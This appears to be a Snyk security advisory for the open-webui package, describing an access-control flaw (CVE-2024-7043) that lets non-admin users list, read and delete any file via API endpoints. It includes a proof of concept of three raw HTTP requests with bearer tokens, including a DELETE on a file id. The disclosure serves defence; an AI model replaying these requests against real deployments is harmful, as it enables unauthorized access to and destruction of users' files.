Incorrect Synchronization Affecting open-webui package, versions [0,]


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.03% (7th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-OPENWEBUI-9680258
  • published10 Apr 2025
  • disclosed20 Mar 2025
  • creditfewword

Introduced: 20 Mar 2025

NewCVE-2024-7043  (opens in a new tab)
CWE-821  (opens in a new tab)

How to fix?

There is no fixed version for open-webui.

Overview

open-webui is an Open WebUI

Affected versions of this package are vulnerable to Incorrect Synchronization due to improper access control mechanisms. An attacker can view and delete any files by directly calling specific API endpoints without needing administrative privileges. This is only exploitable if the attacker has access to the network where the application is hosted.

PoC

GET /api/v1/files/ HTTP/1.1
Host: localhost:8090
sec-ch-ua: "Not:A-Brand";v="99", "Chromium";v="112"
Content-Type: application/json
sec-ch-ua-mobile: ?0
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImYxYWE3YTE4LTYxN2UtNGViOC05ZWE4LWYwYjQ2NTMzYzE0ZiJ9.Wrvss1VJkvwdiS4N8C9UBo17jmsY-3wjynuFoMNrMP8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8090/admin/settings/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
GET /api/v1/files/5858de71-f4b3-42c8-b598-adf97c986193(CHANGE HERE) HTTP/1.1
Host: localhost:8090
sec-ch-ua: "Not:A-Brand";v="99", "Chromium";v="112"
Content-Type: application/json
sec-ch-ua-mobile: ?0
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImYxYWE3YTE4LTYxN2UtNGViOC05ZWE4LWYwYjQ2NTMzYzE0ZiJ9.Wrvss1VJkvwdiS4N8C9UBo17jmsY-3wjynuFoMNrMP8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8090/admin/settings/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
DELETE /api/v1/files/5858de71-f4b3-42c8-b598-adf97c986193(CHANGE HERE) HTTP/1.1
Host: localhost:8090
sec-ch-ua: "Not:A-Brand";v="99", "Chromium";v="112"
Content-Type: application/json
sec-ch-ua-mobile: ?0
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImQ5YTNlODBmLTNjMGItNDFiZS1hODk5LWMwMjgxZDhiOTVlOSJ9.SEaiz_rnzk08f4jj4LuWUXnDSuoYC87e3JxUqxQAC60
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8090/admin/settings/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

References

CVSS Base Scores

version 4.0
version 3.1